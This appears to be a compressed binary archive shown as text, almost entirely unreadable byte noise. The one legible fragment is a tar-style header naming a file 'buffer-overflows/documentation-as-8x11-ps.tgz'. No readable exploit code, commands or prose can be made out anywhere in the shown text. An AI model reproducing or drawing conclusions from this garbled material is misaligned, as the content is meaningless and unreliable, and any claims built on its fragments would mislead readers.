h3:jB_~ၞ\Ӯᅆ{j=)vTޅޝ}.T}5\5¸M H8a{J5v147 \obTq:Sw.sԓ :8#ӻo5|Yyዬ[}/UfJ)-p)=ȲKEG [9C.; <~9_I]x #A֫uV 8/}xġWs)w'3ݺ^?Ҝ!nuz_ysREsJE|DS('cu{Oʝ7(whwIǣtJ0^Kv[ÎJVl^P4jl=}qdh%ėdvC#]n-.^9~_➸WjQW.<ڒ$ׅsoI ~j B&Cs0<)?|ՓJ-DCou;]dۺƫs5i&loHݷvgzM]ٔ[dԮv]ͮHLKjR>]|hPtH7U-<no=[z=k_Ey.Ѯs IZA[tjdF*A~<#>u*jzINo=r!#_MIuÝ' &SW^{Y<)<ᄬwF>?G<8{, p$Sr wf2ZR0c9/`g0 oz̟}g1agv2mQeֆُYú{/)_¼WҮ]{D wx{4̧ lwGzJttOԶ.v41HYgybkVMyzIsWs5ݷk;OI\sueE̴2%.XO,ʭ>"R}@A_Bv)*'+ID\juy5@3{m*?þԔI{Z8ilq%/^,Qv|Gݍf/]T$Ww}NMxa_VYJu Y#eN-:A&z? }'e/K6n±Ξ-k#Ǹ/g"Cl\exnw03ޗQDԟ>9j#]Zd.'9ҽ J/p[$b +!zj6UV1I0vC߼"\ᢂ*rHV~]\j2p-lȪ;kxe;28Q0~^Nn;j?'z#7XeɜyOcBV8 B|59Zkc6SR|xo ޭmr%Ëk%s=_g'6&(Ts經6"nݾjϻZBh>m6Y^w.q97<Օ6礃z]&[S<퇗SvqÕ5%}7k{>m`?īq0VYKWL+8/ 4a}י<l~:rN1g?B11>p+նل`cH[G}*חLp&F!;ml 3u2ߝm;MFedeUE`0 briDYf|WZkMߑ[^o-̆eV^<.TqsҪYFZVY}V-pn5qYJbVVv<*\_`W;v^ d&[eK{R{r 7wbI̳3mBrֶϹlߡoNug?62iw[˴M7UsY騱.x0vAbvzL~!凛;CGc&P|uuG9G|0 5]y:M;ώ>Ϭ=?*poҬGo}<{R7.yWo͈d>ki^ggX>`)1?6kjǝ{(-~TŪM_v޼?Y[ O;_7ʒ>rLm^stC4X8u]DuJ Q{3Ycx-ӣtlrcO]m}:sMKg|t$%uZB⢺+,mǵ.AZl}n}˓WO'>rs΋׃h\};޾Km|BUo9uwN3с{`7^^7gֈY 0ru ѻqK2K;}'n+η{Ӻ|Fѐݎn;0bYqi1 vN5ْVRrgrl:^5ꆾtr-twd]w獦\'Iݦx f=W8Wq:JS9q_j𢟑|(|D\oJoYy %=lߞh['{^[eXjy.G85+=JH泭ȔyWtzmW=#`zdjɑ G>B}uAӺUЦwm$noYB}'(Z=UxT.k SAn|~ϿNc7@ɁMm?g!P~ 5֬:bU2W̙5vb7zyt>25o;3nj},MT_m̷qaN;my^6`DG̙vO{_8$lH=HjYԍ#7Fw+>{oMx}K[J4pGG+ a̳;V³q`<4ѣ_vZx bGڰ|}z7y[Ƨ5>d? wsģltc g3NcgW\9l]1p eŕ.O ם 8q]uN=+zN} Ց~hMcQ(y‘hG~ mƚnfWC .)YnѺ~ kVNik ,Z}D~3=5V]Yriv<$E'Y/^̪+xgNhAcߺ{z.1Hfwq5{ӎSƞ{S4E:siW%,J޾q%;Wwc] wl5ԗ`n'm-n:_xĪpbB{&1<ۤoIU'̙+wfV[|;`MN\Vۿt}i{2FYwAV5liyR͝ܯ,8s.7rvu꟟,cOf`i֧E"'Wvt4]q]^~ 'M/a/xwk`kfAUc3s[ީcZ^'Az=E%/z9fP[Fu3gw*U=ݵ{^n{vCտ=SMٰ(̢] ., KJu陳,rs.4h%)"ݔJRC% tfNlH){3:t#5TX^M֪s/˞WvdXQa?O9_;O*.6y'o꿉zo⒩_ʺ=yYAf.wp֝V,ә) =:AlMYtb]EwǬ^<:潦8eM#_՜FҨIkrbr/W% 8rDE q]$yra0U鰚u_COG0~kb͋SyVuފ/ɣc'ELjsc%9gE+e6>Y9;Րh7"HX9GDt.mg$izT?m㼆r%g2[o( ЪѠhS]V؋ܵѿܧp\ꪈՖn_Nu#Bԥ#1`4$mR-ϝ_b_|m ң%qɝ躇#I1ԫy'%!,ϋ:Dr`S]y_陟ݔt@4{|'WIްG0TnUgUyۉKߦ_U5O?%=aTƬ&5{FVtDkC-I?!2g9T }ְXY &Wvy4 g,__~ɌFZ& Y}lK# mWdS*tQO!xU~z.G"'Yٺ&'dp.*I^H`3QR?pɉ62!?7wh0_߳ɬc˚N[ϻQf=h}zF4~C=ǝjr[z9FLIxNjʹdr =Yh, C̪ J ;ĺz;6zPYO6~[6m^|x@׮@dxϽz9}V/A_)ZQ|-=k3wn+gIq֎3ڝ][ٛ|2ІPso'I|nmV}A˜/>i7CD;20xL1^%T޶WCW}/X~+ vحϨ,m#7 l{[tPi5cztak:ɒNVWwYq-n˸,$νs{gInP_C۝mxL_q]MF쵴;)guk]~۷tLK"3z* ?8:{^%?qpm3ǩ{MUlkz n|84iઊ':F/}Yiԉ4w)OH3zOΪwZ,5ƨUW}QmedKѣ;޽Yrl]exáfg̥'l4zf巓s.uןbKbsӮ7nfhyJuzJP[>_=4Ʈr,6ǂ1m{fGvlnw׋et]v Msq]As'\:-WΆaSMYxh2f~;62ڼKF{^qϛ7j\aۖ_%i0sʀc~y䈴J?SMee!u>"igSk;Ƕx]mq˭c{};|=b^m&/33Lj/--mf[k۞- R|:y֛VӞ M H I|zއ x=7 ĥe-hܔǾ\;` yw.R_?wDKSr{)q3%&Ǐ8}ɘ1o-;4rъڿY\)\75v˂2۳,GZ<[跥Uꤵ^4'1PON^ۯݻhBt~ڬ[~Vx>bmĿFS}.;9zmcEj= SZQ[ ndƸ~|a2~hH믳"ܦ~9SD'Ka>% 7ܱo0 o;Iv7grGdasҗ;Jv<[L{n<2iֺy[=heu(a;]y R9ŇG5:hS)Wt:`G|țGn^vM[z'1vE?g{޵37K{}sW߿<ĭ.~׌33Wr!/ʹ8!M\@E:qrvDBR)އ-HIk7bdػRQ`G( P\ `KPP6G"ƱSSE'E|!dF0߀{ *CTa(˃^IQtpuuY> e2l]uu| 3'H'  Pr%KMe y"9  X 1D(2IP,BtTbRq!|EB<!\S 0sR\dyt[!woBf 4.GoaA4M@2 2$`K./A'⎌Cs\@HF25d;J$$;e CDaQe0lD ~T򨏩 "dL +rH"ŕTD` KG!SB)4$Ld:G$/S 40EO+ohx$B(c|z w|M-gc|-I !..*)`b۩wG= 82 1 `5L/T?}_Â\JbTS5Zߐ,ʯ h=ةDR[J%^'3ilIa:1;G7.[k]T$B>".V `֪b`͈%|kd&X I'8I8Je\5dԾWMgK0^U6\*&ʖʠE-t`h;Cs׷?\ hRyTFlߙ G'&:.rG/-ګp1oXp͇FXJ |!6)Zc?|=SOIz!iϡ"o:0!Q -=5|2|X)xH* 0lq8UжQKC%DU@))4I$T\ɑ'9BhpeEf࿳_ hBgrM&z79pH:^2 W ۡxzX=] ށ$ I7!]R1܉x74 `9-2H DqQ&zPR`# R[$NAT~S{0XA_ЊN`GAq]P '661αHX3/Ie~?k߸ZH?oPvp ''&wK| #IH(M T?\$|i@@rOŧV % tl . /aD&!9': 08p͖O J.z@2;eDc*RzeOvh?65&}8p-5_x(5) SPtV:;壣 %jhwQTLN DВxX 8@RcQr!,OB\$ ,1O ](**R qyUx' vRH3 lP gа $>2.H16BGx|T4X`-oN7wKѐ0q(ۑQXz8bM$; chp^= 5sj~{4ѧy l(r$H& .Q8|$㰎❁2O{t?xIM8Llwt۸M@7" $. ` 6c %!2vB* tP_LC pac-@BFȂlDʑD{)<ȕFW$$F6С4kBNNᦲ#ΊB e'浪x;)MNw l$"ڍTjzz 0Lm@ބG*bN07e"p\vԻA8<)5$EFl *Pcb5Խ;AKcGC]bB]kSR\rMTyp,ͽR7$FtS;Gͩq79яĨp/WmAi\pFC:ab2l RX!,z1գL(9B IB.2r*0ɊV"62R*r8ѩ~4vd?)7* 䎐~MBSdtX07`'+NOPazZ1 Ť\P(`Yry@)%" ``!TT@kpH*W1lZXY"LRu߫/55gY%,UCn$%Q$0Ձ8XLQ M`RSOm\ NT^pdr`dCXKdm͠emE{q%1z#Nʚ0|4D& @c $;|AJ nZ5_y;I s_NBe~sĨɂ (/YqSxa!OQ-n@^)- iYJUWиAj ^*Mۥ0UjS_Med$Ao"/%uw4XY+VnH TK)M:@S(#Zk0%)&NPRp+Y ߁ wH MlA K$Ktx0T`ը?/]dž u:&2PC:+I A)X禳RRԖ*L a$xHc!MáFx8KiN4LK;LspX(cq' I FPt<x j * _KekrԆRHYMP _18cOQඁ okhcdt}*t5_A*12 b)(uuëɸXc8⟞;Q ET8X$/ҏF%,d44 ;;%KlěìX!-K1&T*=v S#D E&R3,oL$$K i"i!J0Dw'X9B :i.|=MOvۜR|N$h>Zcd EfpdxE PPh_',4<SKp'e\sdXԳDMr\lLq{pAM PL-011(+N+1n27 ILPaie[ƁU5V=j0``(dZh8Ѽ݊f[h4Ѽ͊&7բN*D*T [ma)*.&ebʊ )~̑ @!ĬerHF?2ehZo aW]-" Ax (I居xYQhsK&0DDݤT. voBH*(WDS, CAcI`]1"i2+Pn5 zEKe.;X А@cj[d"%#PcDU-ei["Pɔ69Y$3\a1k.9*$с&@l LʖP z'9PG%'HOCB5O:DN$)&)r vv`_-[F ~ Ɛ9BsMN 㺨P}x4UyE"6 !*B2]*!X1x4ppVy*FVemDB@ Vw xAТh@DRٍgFX4^"߂G##.ʩt~E`; b!v4W6-qdK @(Z&{h~ZnTR'2-*GJ9P B@UvlX3; Fdx7&S(׾?:vpL:wvW.Uɍ䆿CO5;`%sx\5 EӀ AP-Mr ɬɚh < dallVg cuPSiƷ R7}$\OQJOۅ~'@ =á~'H$z'?=-o{_?ta/63t^WC {]& Ĩ^mrc6' D~ [+zqM{"/";"bE7oI3흚__K>vU02'K/kB=->qh AA$D`OيlSF)d&ij%|Y2x`\.Ւ@P% rq9 [xJ,ag2-oG3N#*+wW Oق?[g :lA-] g 2~rg9Ya,0s?9̟{^ؠ_w/\BͮC{K} ]Oi5]# ?k߾>_S?5"Q. a`27f?q\DזӉc`oϴcء__~W__x4ՠ(󿆈D)h_csِR3##1G 6G%q\!nd;`(OҘ^68 = 'I%RPG.Ṫ߁!&_P<),סR[D7,|JRTچ1UiVc?16#SR>M ^*%bD󚳒zf!8)eS"'[S)𳙰!UNUkDI54͡3*`V@Xq%c zKJG}l ˀHd+Us#J( 4)4KEc5׊Mug>ڍJ0:JJ*6h|#mQ+L{=N &WHBT2@鸅WXzl#j'4/%l-\IVxfd$%Hg%"yR2vuIKr]%'`pD!" {z'tUܭx>ℼL@.X1` )_7&JL D]KC|OVBCmg:8yDhz#ةTM| ԬиyJ15DO$ v# N.>Dؐ)ZDu [3>P5%ko1l,Z8" `qLJJ\,)eQyb EH&JU*'UXds 9E%v0<=@b1MӌKzYRPAvs<. ͿiD`!h8 P7Jo pumzH$O OŎK( оcI&DHIJG9R~j :0MKE0U[B0ł)wqaZ +hZcX)6`%)$cR=kxw5.Q[k3DjzH{ ~&j`>JsU Q( NGwM%=![J)HpbZJsiҖ-?V愀!Pp^~v)F$>rQX^jSNOPy ψ_LC$QEMf WG/ɀHńYpr'#/H Zz,[}a$'в&Ys0PE ̫ 75MQH (*̾3x'~ci-;FbQ;1hXAMJO㰌pqhNwU URqij( 7N7ZPP1p6ƘA;1pE'')^{H˜ %Ke:2 O% P+=OdC(d[UL%I?)JC.pLj28BxYJXfӉm %gK&nsPh kG<CJ+5Q+;:3:+PM 8Ḡ=Itd7v2rJEàA!x@xn ˖ ME~>}+o"ÒaTuB_(0do'L7Yi,ߒo 9Gg8fmKk*(y0udv9bu{ 䣡2J͕Cܑ--FSСk&F%ՈItӅKX{m%Hx{6^uzCcO:&C^T-]L* D` 34BH=D81OdIMJKC9[ o)%A?؊ZfDmS4Wzy0e` ;3\E}֮E؞P#|ψ$h&FQw(G jCl}phMTG$*$_f7Pi0啥2UWA;%ũlL@&*&X{/-xlDJy̽J1$8M9-_;6 @rˀ'4w"IE*SYb>D F4$ИDP$nJR05b(q\rm=CGRO"~*pI:_*U)TM5s{OMQ*I'{1j{5;\J,ha493}%YO}' -(X!LI08;P@d uDEŠ) ;O W謬_r6:$(*:.μJU(?"+s:ء ۢ[P2aLfK T@T; W g: TRVT RnR4lNAyϥ$!$\JܓJLzU]CIT`g)y>䌤7 >ja DEhk HcZ(:PT5EKfZQr57#[ı ohz,"c2*i!vQV[HCdF Y[Q-4Tj8naxEhb&/Km1,X1Š<)JT)Zc eEbc)`YCHF(Q %RsS4U i%@UkSc ]-S'q7pWI`B['s!+%"UE0FKM%TIRF 0j 5ZhT*P&l夌@AHS6p,6< 8p`(v4S28*XrrthF?k }(WC)!B.!n+2@bSW%(FĄ'VY)ݰT5Dnx;Jœ"}|L @>r) &u9K1>f:d8-ׄz_z .Z9@cG(D7Qh#bbzäzn1WYiX̽+K6djk 13B&v+C,9e*m5p22!ِ7C|2@37ּ^r* "#-#QO ɦ*"LIU=T B7lhAj`@-LM`P9Aٕq#x8 hXx_wFGDZKUGilV<]DBEb 5!ؑ/mk__QmHĖm4 yC$L=@Nkd[[Xr,Imhzj?UuluNg%S)aWeĀw][̻_%iC̚UPr{vI`MeZn$$FR1I@R~Q w aE-4Co\%4-Wm͢y2N'2\d5Leeƨ*,mW/#{>1ReUYXPiGyf9D@3W]~7@r`HVuG@η!~.d%(, $+g Y=|=nb@3?:H(Qty'v&sבt0!Glm6[8{N[g4x,Nv;{{TrtH)Kx:ZgA{P }݀ Z(m8pQkR?BDVp UA)%;ГL `KrN{?oN$^JQ]XpCOݻlz_|BCS;QJ֫5&ʒ*5[{<Mr+BM^ÎKt(+-kDқtA ,IkQSW @3xS߂-^R(f_;NIx.7;/rAVGSQgZkcB_V@N??3r(VEmp"z~E@z F}&%ri?Ka ²)äT?PAwn=4D$,SF/q|:7n8eH}lXg#χ }P8dٰO6Fs0ӽ{ASbFt9g$66k e8R2 Iy9)s7ha47G8@/3@Ģ*^;T~*sR5yT !0yOzNkRK߶b8r; X$g*0$)9u"#i `n]J cԝ^h'D?2%ړj+' evAEIa='n#czg/np  \HvtP7RMsWgF hk\G,n;]`f*[p_@\@l=+J~_-|H:z7b75ui *@(pAGݤEX;9>uweEy݋Xy5{q6#=k.̏FU ǰDGAx11((#tVun$Q#*fcfʝLQ|& *7Ldhe=[ ¢TҪe(s[ \~*w _J\]bg)/Np[15aIM}3*!IrR u0Il֟0 Ѡ&{%(Ki$D`^69[,Kx)k{e2&D4ȭ'S~Lgox;o.d<+N]X97XSZUdU}ST}t)5;swP4LJxu+ę74K%l4nvӜNX(NK a@ ͔߱i0f T'޽CJ0N};>,}6&Օ*Z"SOp]m7prTsn0sN:Yq-dɷful:)P 3!ាF#H)?/5%9ʍ*]K}2oG! i0ٷo#P "k f‚qN 2ELyn6p$ ïJANݰ򗄤,t;fDN%ۀĒ`j%$:WwùQKzjf>u[~*-`BoFQscdpqMÔ+_wTqA-.tK@R2U7j9%1ix3(qmqȹ=7ێ ;jKX$ Vᇃ\ nL5P~9]V,Bt^h b?a0zRΓLP4YJÛwe]Пl$@ݞuPqbi@h %B߬*x5&^eNjv5Lz J W T:{w.~I2$U&O+ QKj;A-p1޴zawY)f3b/d/^0پBMhraH)'g \otWAt=ڠ' rVA>ܐH" ! |U 5B/?Fl;]&,@a¦/]/C//K❡0cx-Dx1܁5wžn4Uv㥡 hiq_W*+*"+Q?Y%(veɓ h~}|$ ܛl<ڿmm$#BJE,GxI! ;ǁ_z;T miPR#nuă5Rbx̹x)!(t q-mpi}#$^Uʢ#=Cƕ, AFQ{eD(.Cx|l%nmJ4eMԜqFt& h+ Mvl=mm xO .O`h"N=zWsE,e$//4U H!Hف;o6eSwO(6WyЖ.^kwQ6j{/U*[WG8:ȴV79n12i0rprQ?`C7ܵᵯ4s!<偯QᙎCN?O3Oe,Ul}+ g;רŦ !]Z:)8;؃r 5X֙R X-nxj][&fdWhF2}jL'H1BByCs X 8IȌ,P\ay#iUDZ_mE]Xč\<1=1#AUOdM B{)*$dih (JxI*OBD[vj ]JvhadgN._͂\-ݵ:Ɠ}4K^Kª@T W?ej-W?|+e2 bi4!a4RP 9  gRՏpq%ZWKA.+Ԓ]f]Iͳ F#\Wt ?Ǘw p0K1颡EzCR{CMRnuՃQ!e#hTY„"F?Z' q*S[9/tʼnmT\\#uI}~ =ROzYp˖>Fդ TD2=.mަ6O$?'BJSaG(yj$OX|)j5R"S5hR 4:ܝ#"DC3M1d5+GW#4n*J{8DL6}'6ACSDS04̟TAA[]w mSdލhPje$zь3n!ܬV|>Ꜣ!TKk+G;[+˞N/ciwLw%8 ߡV(n︯۝pLLnB38ıЄʇ3fTN0YOC{B5_9}gfL2ZϨuu/WϘ_c/˚,.σE(q&z,<rȃz\>R5wuoL|G9{*c4瑪G>xװGqP8GsLW EoXfӕÄ П@ $:P->/\d$#Z[>Z܇CÃ'co nmu? jvhؔ|"Ƹ (L EYY1t,{/n8 눸 S) ga n~-,5UT06LU";.(Pf{0"9VvG aQZ} n2h $ JUdaTӯMj8:TЈE&ess5 ބ@pҽ`<7lvysCuA/+q`dozBAԴ iH2c N!@ Wm"fg5+1"#fd#Pĉ (vxԦnx#IA,0[aaX ;xJV@yJkEMIOQf2j8TwF30c+v=ySSGPȥ UP%wS5!~#i ƗY@tݢe19C>r n$sW=;>ٜ;WΧv8x&V46Hܘw/ѦaŖ h 8 PR<=j?]{˜MXI3Ϫ̜AV=L \78ydݺ<0]cbwx&[_,U,LyH_nrȬ=\+p(kz@8Q E1khÃx̰o28t B~Ek=dBd!bw_I]}_>ښ_+յGygk2)>(Ҵ>|m/L a8"IF%+o)6cbjo|{3y9ܬfATX0DIHc{@k((ىnXٶHh `rMiB%äDdQ2rrBPRƏE2L 4 c70c4uwiEI5bUdJL<N`AJ5gYWLco¶? ZTb"dLMAR-<K,Pb-M_0Ikci+u|BX=hyE#ְ.}:$&| jEWژ08žVRzq E6`LjjiU 79{DYB%Wjm~vkzٞ=ccʳ kڊ(reIEp l3fkJ8o=΃9RRa! E*I]^S3l)sSз2h5dփS"Zh1sN+go5-[MxGUϠ_:l%!N@i@HG>kQ֦G2N)T^8ݔI',Wo .UQo*; z>(Tvn04 dZ2 aMcmP+prܺ1;)o4Y{qJhzgHGF>fWo$?:_zBY,|_ eXxι /*pV?寘gdbqr>=ӸT8z}6>\/ß>|קxs{^w_bɏ)lm? Gmw{hV:U9AsȥEi ۸k`EKgbW*RHRU?Vl[G+ٙk7ih4)4ԏج6<}# vKK$IQ޷TLI!@1G(dj%#O'+ӊdvMSU@|opajn L9J"95_DJ#2a~կ(QqPF2JgtTqU6=3O&ܵ"P%_NPyXqM/ء^)$lpk6k4UN~Ž,Z?dRYL)?wMoN4lk}ZOe*k36iW[<{MJDx@,$xLo?@Ο+/HG>?$#-'g`kx j Ν\Opxŭ.+H ELF!z Mv@#IW ~ }z0WɞpgO,#fvo9Ѯ&^Lبa EI-ACEq|DDfbEhX 2fnCal2Իl.1z'3//Uщ6rˆ&6: 3!7$XEAn;T)4䉧NPȤҲ̚FfȊ0CYLqej+ymmQo*;lyP Y?j' PҬL* $l$Z mޣm8xǵw[K_JjqXg&DFUQQd&ҡd?FG%MiYHz^ՏnHrQ V%i7OVI9+Ҹߔ4d-"7x=^ ,|Mf&ɤ+gH"ϕ˱6(E #qi@rsܺ2!^fp_@P%MB9EY" jx n51jll91UU/[rSj0!]cxu3L^1=9R 5 ߎuOtt͌B6ʹ Q^rhvG=ݶ" v%lUn3l?Nr-ݮTZ(VyF.j kpyj|5c5py5~=a:$^Pa- fa+}E&6. ٲƒ/o"o^{>w  }1)BzS"®k`m4 B܉P+;5xBcXGP|z(&ygqժ!C"&TOS1$*G1TNQ'[@FWjup4Mx((Z:}]eDH<~8KŴS?Kvxxߐ7>: %0A->k˳}~Ac+}(]di cVC:'$Wƭ^#iɔH80k+;O@`pۀ,mBk<&4ɷp[ :S^$> |(Z]ےqRP#Bԭv 3Pi@%v6B.Y+fݖC Z5c`O+"A`(ʞ6{a2exXCd9Lt{VrO Ȑ=+ha[0oF@R `Ouiwir"TPF,l;Z#sU:EuQ̡ +C…EȮ,iI#O.l[ٽϫ3RUvy1cl8saANAnK3>#YھHod^!>AD~ͼ-pB*ZyglL!5 Z&M5lqt T=4- RKMDI!̈́fNJul|QMIʳ"h78wR)E\"g#C|Epb#u핞BFbSuivZ6ycGxꚥ]SߏLST;ydJC~`ܔLx;%K$-|=h[ p4' "ZZKuv@"nhLn6Rx0nI$%kXRTp*?^uuQ|\,?7IMR&64L)I'EoǪ?g'vY(bO/_H:PIL4C"|Afx`~PoU5}ٙL2 v:5ݜiukr "8@ lݘb4j<9@~3T2)*(BF̄_40۔ꨋz6I/29,Иo`1P?y XG]NY)Qؿ[-^*'HN+"m҆\NӠƒȋ*JإID1H>b[iSP6gQvp}uR{٨*dA9VZ-ː@[$UNJ{~xy->Tua!U]zvW:m#`.oF?W:Y?>os&nE~T+FWת˕e\Y\oIb[Qi8a^c]y8TQV͋XE|Dي|h98Dlz4FR @1KyuBu伛k7:(>O+ЉW>A?;ghon=9y6&_.wuyiimm ,UW1+?b V4Z( 黭-\6Zv›Vxu>2UCM d%Ϝr>$؝ܱ .%}DsOIJ[u! `ƨaA>"~t++bQhsD_? V)t>z^ ڐ-];[bݽ wv׭`^ QdKȪk[_A=^ q}[p\IX:;)`V/ (gw6NN7O?՜!]aU?is+{х~/r .NF+!CLրLvk07 W{߮ǽJmXnPm./juq8CuV)q|bi(rR;S0w7n>i1Zemumi 4T o" @+/-ZmO4a/9F;t¹ ]Bpl8{?ބ! OR޾>gL|?9buffer-overflows/documentation-as-8x11-ps.tgz100644 0 0 1154551 6347417647 17667 0ustar rootrootC0\Mu]:V(4eZp4ܕeY(K\%ک)mO{#DZ9Sr-A9 5@ G@  |UuOֈ#@2ctuW߫Z4{^OS]G^4n-JBv _E#6z.D6[6n:nI?Iu"c!JK E{?xұ)ܣ+ُOJ|Av;36 _+FWq%+{~ x+FJ<< qg<< /K/*ku)Ui@ 4Cm@l6x R雀[m9yE K/^\~p p xpko x;~ =9>0 :`ƀ&71WLdM>7?8 pwy 16Ͼ? = 8aUp+hK+E}B{ 18Wk ɻI'}eWv}"YwM>VVv<#~KZ7{ Xiߏ/W ] 8x~ K򺬼8G܌\c?L8.\Nq}enͿxmOQ9JP߅ {13R ##s]d1?.y?/^#/m^[TǛ?joV}t _{JO3]lwpxcWji}8Hp%G;x'+"y3JT?Ɗyyx%?5q}s _\)x׮Ql?l6ʃIgȮ"g]xCG[.Y~j_k~?S{q ~'>ß-qb==Ŷ؎£ggkIxƛ5bzutMy5ҽStJGqLdޡG}/ b,=ܑ EK7 *O8r&$1 hlnvz:wGJ}_{Z?1B1p $Ra)xC~ }D" ɳlKD_i/4dL>^LH׉XN{bGc׾f*a2|1b 0c9cQD`/u:XDӰ0QF`Z*!+Ɠ@j|2ac!MqDQC31}$J$4~yQ¤{ wՋeAQeqp$VF>'{_{{a4+8]$Q=. 3ZU᪘pp_)a#?PW wia&}\>9Zӗ4*Z#)'`g'AGGu@cX'ɵ' KI̛@EH +XwEo9daPu TmP\4aR4Pitk71{r,^QL'x @AVw) r6ˣJL>y]F0.0(Xb<P<#,$#D;;* )|J҄Ilړb+3T&=46_*^(ϬMa4Pi,T`ųsq͆01`0ˉua~=l füL `$t7.u`dsHsG>y,9@& KEvj&" hv-Nd&2 Tdy`ҭGΪB$lgvr*C$50`ܱr?؎0qUc3Éx,Ct*-;9qY*-wH#鷐*R)WeZfɥrWr=2;H;!H\vď(6Lw*-|pG%Ǽ ,UM.3€!$nil]$=Kw[ZrKmyW(eAɉRVݢيQup|aQ\c1Un,.EoSiV͖1PL+ODaۉ2E |^:4fU %7 bиDT1yra 엸Abuﲲb]VJ!n4.#ŀAs)C·mIbwtzʍeft\albэeV0.zh쩽aSp,ByAHި͗Le_MK`2rˬ:dVj S CÉqxqYHiјfiHYh&qIeI\P :]Fϱczv_"yjM<Ɗː:獵EjR9dzmYGoD%]&C&EY"քjN!scwY T'rcu*Kz!ُp^h} v\3md>y 8GUIns^w{3V'˄1Pr^GZ$.y#U^fSet۹J_C*]L>p_T.O1Ɯ#pJvJGiYLTEӏfe^%oOPsOf5qsDJ|Uj$b1+Vw8LF|Iϥ'llVWk= B +VHy#v%F l)IQfcP;M),4v$5Q^& !YԦ/Ìx#vF!?{|BMMP |@f9C[ T&cӚ`H;y(PgsLML%uz31% li+y3m0|B9Hӷ19L;ӳq-F=R'n8S e:l>,>+qì/+aP_ENO}A-_XonUi3Q )ЋL3?2}jG`fVɟWd0>I>`nA źƈ*OӍY5{'c?BbS%INEBą߂P[Q"E1jFaU1׬_u8HP-t!ؘ@GMX& aB$Y#P>|K*Bs)hL+aR/Vyͽh,y/M,7q#|`~{e} B$ 朠;t/>F)ܝ;+Jn7iyUXB~Sg{ >Ρ Du05P&) L#{f3L$(P! 4X==m'Fϕך-Vy(~QZ]S~vf{嵍5A&To]oׅϊF_zJFc$bW'^UNC}Sf#*Z&19, d!7*8B};n VE{,g V| f]'@ 2Tx:OG3zɄ9dT(wj W7o gs>&]F;K5L,sih~a sR鍗8RQ2eA:.Qmq(eDGq歓& ycQ2b;ƆthB(8S(@JGE Ճ4ރ̄Pzj%{ .svoGHSXf cT:AjsZ^U`0ַhqՂd[6v6xʲb fARy| ,͡j `\vڒGR6]g'It - Q^$+Bsbeclt_Z8SX!) W\׀,i냸t&ZYψ4t^[25q}ETDqiP*A -d0m\< L10P ؃pU 1W63ފ24#b dd &>I*K,y*"]x}J-\1JDw`%rHaKH?^䄕0K},o`s%t%,SirfӜ;3_yEqyC@? F =Ҝ\</5,N^'r]W0*K*-*?˖-Uzj;eQ"Y’'(կ˪*׫R8!Нd0a 43 :$ e2|!LB`!B;{{-9$nT}߻wN,dx>[eD*MP.`B*@ypkT27m(7{9ǕJ^ D؀!H?5Z,$$vk. 2Hsv5yJnUD]rC6d!P0td/݈Wݺ4}~CLӻ{%CsIIJn79TEipxqʧ{a'p1={v,qǕ*XԭA+ i黖?.'x8dU>{ـHO ,zuA輶|'":0E5pBX ;h{$~{rSZ-Z JSi|y9|+TBNpeya:9cc tL[j4xr6'`2`@\֭VYo|QĻ#'HgD[Dkzh]55x?dzhp$yPDYp6%o47y?`9 Mlm>/ʍXW_`d 3}6&CG1"+L /8d:gt>}QΗ"c .i?<пyjVBߴtL۸ )%L43vmÝ0>hQnɭH B1e`>.!2hzQQ{'TxY$Z`ȭB eT*GMuЙk3~BeTd=/cۺL-zz m辡rtVlkr"i$7t.m83ȑUGhtPOJ脄SБ·O<,$)d y{炐smt c>Wք\BlrW\qU2UQΜ[6D5an ~Iy4m[GGLԹ+#E] 5"䘇)Ye+);?ohn3j,hX jAmJ`C N-y 닪I-+l^jZ6A* y42rǍ}j۝8yi Ku$qeC"]=u0mTzs5&oӄrJ(LM `598U 8g{jQપ=jˡ 51 OJj˶Gub)F|ꥴ%p02M 54M41$tfqt҄$m[]I>E[@蔩vEvU ]ZmLv%BX@ 3LWlN%4va\weHgx`n3v\.T2]t zlmsQ}bԂ=@q;mPez1L|a CljK`"ȧ3u1Mjuy{F=";ޫC ԑÝ5u(I 7K0WN#Ÿf}Q%CbzbG%LWztq$5>2u!Ή!gL0ixѤDbh9dtNJQ(,jN*(٭ ""ʬb+"ÄX%ĕ'EM0\X~Rc^.w9Lt5$2z:יFADKJ}333 RSMF=vāz A8akK:aL(\ QN̈oY)j|جCu~ [C&1s2,)CNėJwD:KaejstBüPKn11$^^aGb2Jĩ`#k5zBֳggͤU#LbGi'tLV .3lת2S+![ve:1v[&pRh;SN?˽̲kVXxHj~s%(Qp2lK:Ĥ~}[,8́P .,|E0=j/w*tR-.FpϦ}I(ry1Snck]Lݱ`*,Y5hpdr^V4iI05^ 8m#j,f&h{jP.D@$ !D|%s R&i^tc[o蘶uޗ%Jʞ_ҩ7q`> , k4J#8kzNlmy~2ig2j-QRk"(~5u͗cg*bfiYFˑU4^SnTK=-D`7QOkO{+G6J ͥ?[l/ŲbuI4}\|ob_?E5,] 6Rj+'bXDYu!+Uq`1:s;^/ rwKEW 'Jt)*A Hr  bFtNRYУ%/î=y.q?mvǒٸ: d`#ȇ$Ϩ}ipBchxH k,j`7.quQf:P 6}[.q?'1ӬcП!Y7k&?.m1IKe k/HS G;է\t;`xYwigj8QLj&yp5AULiL55[iOޢJ+=΄T/.,u*n+aWb9;)707 Ul`]xN葱0 r;¨3 /3E ,[bAۓJ*+Tl%^%gLme t.XP˾ +XCPsBy9/"?D PO#*,P~OWݹ'ƙךC+ʥI+Y& q:aS{'F5hX,kQ48 P6:c*|r7sm팍2jU3k&LҨAg~^9eq.kXZ=kF$j _2h{8F%ٚT.=uC'҇A2W";|h`\P}Mb2WNn jN/7 ΢u/PMkVPkATHwI~W;nqx=PUA*+J9ùEc(׃Z1ZCb33! 3\ KY6{]ܽةGc*ˬf^nVnƚtiSdJЪ ^|%#zLP驰IJ֑e mJvx&| ,IKsJ`f2s84gس ]cby3gו`)8bcѣN͚nTDQRKjK)(8Ӑ'c'W.Ͳ.kp6~%晕R&&&#u]eE].nUG=AMW:+G~-uIͻS]T/G0ǘrVJ>s^8t]&4f`fNLL`miMG~ cqxLĶrbsa3,}X SM&J1,b}4s-Kss>g*d!1)Yb}т9s6At!\KmdH W^L#n= R]=XLW2jMO{5W>l:8%L.P.ԤGiX?ecNk~k(ęx< b9_Z@/΀ԩuڧbaMÞٜjN2k33858?i% :ۦpg ܯB1{8C Cnd}cM֜ 25B_[v8˳e؎Yvl1ad\PT/ǐ' gQ׏ [lK`OAerk31s1c'=Warb˾tfP[,M@ƚ|Ml" x+ ƽvln+bD3 *zt 